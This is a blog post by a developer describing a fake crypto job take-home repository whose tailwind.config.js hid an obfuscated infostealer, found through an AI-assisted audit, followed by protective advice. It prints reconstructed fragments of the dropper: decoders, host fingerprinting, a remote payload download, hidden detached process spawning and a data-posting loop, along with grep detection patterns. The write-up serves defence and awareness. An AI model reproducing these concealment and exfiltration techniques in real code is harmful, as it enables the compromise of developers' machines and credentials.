TL;DR
Recently, a recruiter approached me via Linkedin with a Web3/crypto frontend role. The interview process seemed standard, submitted my Resume/CV, some back-and-forth about my experience, and then this message:
"After reviewing your background, we'd like to move forward with the next step in our hiring process." A GitHub repo link. A 60-minute time estimate. Urgency about rolling submissions. Classic pressure to move fast and not think too hard.
I've done dozens of these. So I cloned the repo, opened it in my editor, and was about to run yarn install when something made me pause. The codebase felt... heavy for a simple coding test. 440 files. A full Express backend with Uniswap and PancakeSwap router integrations. Wallet private key handling. Why would a "create a WalletStatus component" task need all of this?
So instead of running it, I opened Claude Code and asked it to audit the entire codebase for malware. What it found buried inside tailwind.config.js, hidden behind 1500+ invisible whitespace characters, was a multi-stage infostealer that would have fingerprinted my machine, downloaded a remote payload, spawned a hidden background process, and exfiltrated my data to a command-and-control server. All triggered the moment I ran yarn start.
I later found a LinkedIn post by Jithin KG describing this exact attack pattern, malware embedded in fake take-home assignments targeting developers in the crypto space. I wasn't the only one being targeted.
This article is a full technical breakdown of what I found, including the exact Claude Code audit process that uncovered it. If you're job hunting, especially in crypto, but honestly in any space that sends you repos to run locally, read this before you yarn install anything.
The Setup: Everything Looked Normal
The repo they sent me looked completely legitimate. It presented itself as an NFT Campaign Platform called "Yootribe," built with:
- React 18 + Redux frontend
- Express.js + SQLite backend
- Tailwind CSS, ethers.js, Web3, Uniswap SDK
- A clean README with setup instructions, sample login credentials (
mtngtest@chain.biz/testpassword), and troubleshooting tips
The assignment was straightforward:
Create a
WalletStatus.jscomponent that checks wallet connection status and displays the wallet address. Add a route at/dashboard/wallet-status. Submit a Pull Request.
Reasonable scope. Clear acceptance criteria. MetaMask integration, exactly what you'd expect from a Web3 company hiring frontend developers. The codebase was large enough (~440 files, 56,000+ lines) that no sane person would audit every line before running yarn start.
That's exactly what they were counting on.
How Claude Code Found It: The Audit
Before touching yarn install, I opened Claude Code in the project directory and ran a simple prompt:
Analyze the entire codebase to determine
whether it contains any malware or
scam-related behavior.
Pass 1: Broad Codebase Scan
Claude Code started by mapping the entire project structure, every file in src/, server/, public/, and root config files. It then ran parallel searches across the codebase for known threat indicators:
Suspicious imports and system access:
Searching for: child_process|exec(|execSync|spawn|fork(
Result: package.json:33, "child_process": "^1.0.2"
It immediately flagged child_process, crypto, and fs as npm dependencies, Node.js built-ins that should never be installed as third-party packages.
Private key handling:
Searching for: privateKey|private_key|mnemonic|seed.?phrase
Results:
src/components/Wallet/ExportWallet.js:71, {userData?.wallet_private_key}
src/components/CreateWallet/Step4.js:46 , localStorage.setItem('key', wallet.privateKey)
It found private keys stored in plaintext in localStorage and exposed through unprotected API endpoints, the sniping bot backend accepts raw private keys via HTTP POST and stores them in an unencrypted SQLite database.
The server is a front-running bot:
Claude Code read every controller file and identified that the "NFT Campaign Platform" was actually a fully functional MEV (Maximal Extractable Value) exploit tool:
-
server/controllers/snippingController.js, monitors the Ethereum mempool foraddLiquidityevents and front-runs them -
server/controllers/frontController.js, 870 lines of code that copies other wallets' pending buy/sell transactions and executes them first for profit, supporting Uniswap V2, V3, and Universal Router - Zero authentication on bot control endpoints (
POST /startSnipping,POST /startFront)
Pass 2: Deep Threat Vector Scan
But the broad scan didn't find actual malware yet, no eval(), no atob(), no obvious obfuscation. So I asked Claude Code to go deeper:
Focus on detecting:
- Dynamic code execution
- Remote payload downloads
- Obfuscated or intentionally hidden code
- Unexpected background process creation
- Unusual file or system access patterns
Claude Code ran targeted regex searches across every .js, .jsx, .ts, and .tsx file:
Searching for: eval(|new Function(|setTimeout([^,]*[`"'][^)]*)|
setInterval([^,]*[`"'][^)]*)|Reflect.|Proxy(
Searching for: atob(|btoa(|Buffer.from(|toString(.*(hex|base64|ascii)|
fromCharCode|charCodeAt
Searching for: fetch(|axios.(get|post)|http.request|https.request|
request(|XMLHttpRequest
Searching for: child_process|exec(|execSync|execFile|spawn(|spawnSync|
fork(|Worker(|cluster.|process.kill|process.exit|daemon
Searching for: fs.(read|write|unlink|rm|mkdir|access|stat|open|append)|
readFileSync|writeFileSync|createReadStream|os.(homedir|
tmpdir|platform|hostname|userInfo)
Most results were clean, normal fetch() calls to the project's own API, standard process.env usage, Sequelize's fs.readdirSync for model loading.
Then it hit tailwind.config.js.
Claude Code read the file and found that line 18 didn't end at column 3. After the };, there were over 1500 space characters, and then a massive block of obfuscated JavaScript starting with const a0ai=a0a1,a0aj=a0a1,a0ak=a0a1....
My editor never showed this. git diff --stat showed tailwind.config.js | 18 lines, looks normal. But Claude Code reads the full raw content of every file, including characters past column 1500.
Pass 3: Decoding the Malware
Claude Code then decoded the obfuscated payload without executing it. It used Node.js to safely reverse the base64 and XOR encoding:
// Claude Code ran this to decode the malware's string table:
const n = a0 => {
s1 = a0.substring(1);
return Buffer.from(s1, 'base64').toString('utf8');
};
// Decoded results:
// 'os' , operating system module
// 'fs' , filesystem module
// 'request' , HTTP client
// 'path' , path utilities
// 'child_process' , process spawning
// 'platform' , os.platform()
// 'tmpdir' , os.tmpdir()
// 'hostname' , os.hostname()
// 'username' , os.userInfo().username
// 'spawn' , child_process.spawn()
// 'exec' , child_process.exec()
// 'writeFileSync' , fs.writeFileSync()
// 'existsSync' , fs.existsSync()
// 'statSync' , fs.statSync()
// 'mkdirSync' , fs.mkdirSync()
// 'get' , request.get()
// 'post' , request.post()
From this, Claude Code reconstructed the entire attack chain and confirmed it hits all five threat vectors:
| Threat Vector | Found | Details |
|---|---|---|
| Dynamic code execution | Yes |
child_process.exec() and spawn() with windowsHide: true
|
| Remote payload download | Yes |
request.get() downloads from dynamically constructed C2 URL |
| Obfuscated code | Yes | Base64 + XOR + string array rotation + 1500-char whitespace hiding |
| Background process creation | Yes |
spawn({detached: true}) + unref() creates orphaned daemon |
| Unusual system access | Yes | Reads hostname, username, platform, tmpdir; writes to temp; POSTs to C2 |
All of this was found without running a single line of the project's code.
The Hidden Payload: 1500 Spaces of Silence
The malware lives in one file: tailwind.config.js.
Here's what you see if you open it:
/** @type {import('tailwindcss').Config} */
module.exports = {
content: [
"./src/**/*.{js,jsx,ts,tsx}",
"./public/index.html",
],
theme: {
extend: {
fontFamily: {
'poppins': ['Poppins', 'sans-serif'],
},
},
},
plugins: [],
corePlugins: {
preflight: false,
},
};
A perfectly normal Tailwind config. But line 18 doesn't end at the semicolon. After the };, there are over 1500 space characters padding the line horizontally, followed by a massive block of obfuscated JavaScript:
}; (1500+ more spaces) const a0ai=a0a1,a0aj=a0a1,a0ak=a0a1...
No editor will show this without horizontal scrolling. git diff won't flag it. Most code review tools render it as a clean, innocent config file.
This is the dropper.
Layer 1: The Obfuscation
The malicious code uses four stacked obfuscation techniques:
String Array Rotation
A shuffled array of 100+ base64-encoded strings is accessed via computed hex indices. The array is rotated at startup using an IIFE with a checksum:
(function(a0, a1) {
const a2 = a0();
while (!![]) {
try {
const a3 = parseInt(ab(0x1a0))/0x1 + parseInt(ab(0x1ed))/0x2 + ...
if (a3 === a1) break;
else a2['push'](a2['shift']());
} catch(a4) { a2['push'](a2['shift']()); }
}
})(a0a0, 0x7c2c2);
This makes the string lookups position-dependent on runtime computation. You can't statically map indices to values.
Custom Base64 + XOR Decoder
Two decoding functions work in tandem:
// Base64 decoder (strips first char as salt, then decodes)
const n = a0 => {
s1 = a0.substring(1);
return Buffer.from(s1, 'base64').toString('utf8');
};
// XOR decoder with rotating 4-byte key
const T = [0x70, 0xa0, 0x89, 0x48];
const x = a0 => {
let a2 = '';
for (let a3 = 0; a3 < a0.length; a3++) {
rr = ((a0[a3] ^ T[a3 & 0x3]) & 0xff);
a2 = a2 + String.fromCharCode(rr);
}
return a2;
};
Every sensitive string, module names, function names, URLs, runs through one or both of these before use.
String Fragmentation
Critical identifiers are split across multiple concatenations:
const c = 'base6' + '4';
const i = 'Rc3Bh' + a0ai(0x18b); // → 'spawn'
const u = a0aj(0x1d4) + a0al(0x1e3) + 'A'; // → 'request'
Variable Name Mangling
Every variable is a meaningless alphanumeric identifier: a0ai, a0aj, aG, aH, bk. Functions are called through proxy objects with obfuscated keys:
a1 = {
'bPrTI': function(a5, a6) { return a5(a6); },
'ylVwx': function(a5, a6) { return a5(a6); },
};
// Later: a0['bPrTI'](someFunc, someArg) // just calls someFunc(someArg)
Layer 2: What It Actually Does
After decoding every string, here's the reconstructed logic in plain English:
Imports
const os = require('os');
const fs = require('fs');
const request = require('request'); // HTTP client from package.json
const path = require('path');
const process = require('process');
const child_process = require('child_process');
Note: request, child_process, crypto, and fs are all listed as explicit dependencies in package.json. That's not accidental, it ensures they're available after yarn install without raising suspicion since the project is a crypto app that might plausibly need them.
Step 1, System Fingerprinting
const tmpDir = os.tmpdir();
const hostname = os.hostname();
const platform = os.platform(); // 'darwin', 'win32', 'linux'
const userInfo = os.userInfo();
const username = userInfo.username;
const timestamp = Date.now().toString();
const scriptPath = process.argv[1];
Collects everything needed to identify your machine uniquely.
Step 2, C2 URL Construction
The Command & Control server URL is never stored as a string. Instead, it's built dynamically from multiple encoded fragments:
// Simplified reconstruction:
const baseUrl = decode(M_or_X); // switches between two C2 servers
const fullUrl = constructUrl(baseUrl, fragments, sessionId);
Two hardcoded base64 values (M and X) serve as primary/fallback C2 addresses. The URL includes path segments derived from XOR-decoded byte arrays, making pattern-matching by security tools nearly impossible.
Step 3, Payload Download
request.get(c2url, (error, response, body) => {
if (error) return;
fs.writeFileSync(localPath, body); // writes to temp dir
executePayload(tempDir);
});
Downloads a remote binary/script and writes it to a staging directory inside os.tmpdir(). The directory is created with fs.mkdirSync({recursive: true}).
Step 4, Hidden Execution
On Windows:
const child = spawn(process.execPath, [payload], {
cwd: stageDir,
stdio: 'ignore',
windowsHide: true // no visible window
});
child.unref(); // parent can exit, child keeps running
On macOS/Linux:
const child = spawn(nodePath, [process.execPath, payload], {
cwd: stageDir,
detached: true, // survives parent termination
stdio: ['ignore', logFd, logFd] // redirects to hidden log
});
child.unref();
The detached: true + unref() combination is the key trick: it creates an orphaned process that continues running even after you close your terminal or kill the dev server. On Windows, windowsHide: true ensures no command prompt window flashes on screen.
Step 5, Data Exfiltration
const payload = {
ts: timestamp, // when
type: identifier, // campaign/session ID
hid: hostname + '+' + username, // who
ss: sessionData, // session context
cc: process.argv[1] // what script was running
};
request.post({ url: c2url, form: payload });
Your machine identity is sent to the attacker's server. This likely serves as:
- Confirmation of successful infection
- Inventory for targeted follow-up attacks
- Filtering (don't waste effort on VMs/sandboxes)
Step 6, Persistence Loop
let attempts = 0;
const retry = async () => {
try {
timestamp = Date.now().toString();
await downloadAndExecute(0);
} catch(e) {}
};
retry();
let interval = setInterval(() => {
attempts += 1;
if (attempts < 3) retry();
else clearInterval(interval);
}, 616000); // every ~10.3 minutes
Runs immediately on import, then retries twice more at 10-minute intervals. Three total attempts to ensure the payload lands even if the C2 server is temporarily unreachable.
The Full Kill Chain
By the time your React app opens in the browser, the malware has already phoned home, dropped its payload, and started a hidden background process.
Red Flags I Almost Missed
Looking back, the signals were there, but they're easy to overlook when you're focused on completing an assignment:
1. Suspicious npm dependencies
"child_process": "^1.0.2",
"crypto": "^1.0.1",
"fs": "^0.0.1-security"
These are Node.js built-ins. They should never appear as npm dependencies. The npm packages with these names are either stubs or historically flagged as supply-chain attack vectors. Listing them ensures they're resolvable by require() in any environment.
2. The request package
"request": "^2.88.2"
The request npm package has been deprecated since 2020. A legitimate project in 2025+ would use axios (which is already in the deps) or node-fetch. The only reason request is here is because the malware needs it, and its presence is hidden among 80+ other dependencies.
3. The codebase is a crypto sniping bot
The server contains fully functional front-running and sniping bots that monitor the Ethereum mempool and exploit other users' transactions. Private keys are accepted via unprotected HTTP endpoints and stored in plaintext SQLite. This isn't just a vehicle for malware, the entire platform is an exploit tool.
4. One commit, one author
commit 70a3da95
Author: talent-labs <adfeca30@gmail.com>
Date: Fri Jan 23 09:36:06 2026 +0900
main/home-assignment
438 files changed, 56441 insertions(+)
The entire codebase was committed in a single commit by talent-labs <adfeca30@gmail.com>. No history. A throwaway email. No GitHub organization page, no company website that matches, no LinkedIn profiles of employees I could verify. The "company" existed just enough to send me a repo.
How to Protect Yourself
Use Claude Code to Audit Before You Run
As I showed earlier in this article, this is exactly how I caught the malware. Two prompts. A few minutes. No code executed.
Claude Code reads every line of every file in the repo, including the parts hidden past column 1500 that your editor never renders. It doesn't get tired, it doesn't skim, and it doesn't assume config files are safe.
If you're receiving repos from strangers, run them through Claude Code before you touch yarn install. The two prompts I used:
Analyze the entire codebase to determine
whether it contains any malware or
scam-related behavior.
Focus on detecting:
- Dynamic code execution
- Remote payload downloads
- Obfuscated or intentionally hidden code
- Unexpected background process creation
- Unusual file or system access patterns
It's not a silver bullet, but it caught what my eyes, my editor, and git diff all missed.
Manual checks you should also do:
- Scroll right. Open every config file and scroll to the end of every line. Or run:
awk 'length > 200' **/*.{js,json,ts,jsx,tsx}
- Search for obfuscation patterns:
grep -rn 'eval\|Function(\|atob\|fromCharCode\|\\x[0-9a-f]' .
grep -rn 'child_process\|\.exec(\|\.spawn(' .
grep -rn 'Buffer\.from\|toString.*base64' .
-
Audit
package.json:- Look for
preinstall/postinstallscripts - Flag built-in Node modules listed as dependencies (
fs,child_process,crypto,os,path) - Question deprecated packages (
request)
- Look for
Use a VM or container. Always. Run take-home assignments in a disposable environment. Docker, a throwaway VM, or at minimum a separate user account with no access to your crypto wallets, SSH keys, or cloud credentials.
Check line lengths in git:
git diff --stat # won't catch it
git log -p | awk 'length > 500' # will
-
Don't trust the file extension. Malware was in
tailwind.config.js, a file you'd never think to audit. It could just as easily be inpostcss.config.js,babel.config.js,jest.config.js,.eslintrc.js, or any config that getsrequire()'d at build time.
If you already ran it:
-
Check for orphaned Node processes:
ps aux | grep node -
Inspect your temp directory:
ls -la $TMPDIRorls -la /tmp -
Check for outbound connections:
lsof -i -nP | grep node - Rotate all credentials that were accessible from your machine, SSH keys, API tokens, crypto wallets, browser sessions
- Assume compromise. If you ran it on a machine with crypto wallets, move your assets immediately from a different device.
Final Thoughts
I almost ran this. I was one yarn start away from having my machine compromised, my SSH keys, my cloud credentials, my browser sessions, everything. The only reason I didn't is because the repo felt slightly too heavy for the task, and I decided to read before running.
But let's be honest: most of the time, we don't read. We're excited about a job opportunity. The repo looks professional. The task is reasonable. We want to impress the recruiter by submitting quickly. And that's exactly when we run yarn start without auditing 56,000 lines of code, including the 1500 invisible spaces hiding a backdoor in a Tailwind config.
The crypto/Web3 job market has become a hunting ground for these attacks. But the technique isn't limited to crypto, any take-home assignment in any tech stack can carry this payload. A Django project could hide it in settings.py. A Go project could hide it in go generate directives. A Rust project could hide it in build.rs.
What changed my workflow after this: I now run every take-home assignment through Claude Code before I touch yarn install. It takes two minutes and it reads every line, including the ones I can't see. It's not a silver bullet, but it caught what my eyes, my editor, and git diff all missed.
The rule is simple: if someone sends you code to run, treat it like someone handed you a USB drive in a parking lot. Inspect it. Sandbox it. And never run it on a machine that has access to anything you care about.
If this helped you, share it with someone who's job hunting. One yarn start is all it takes.


Top comments (0)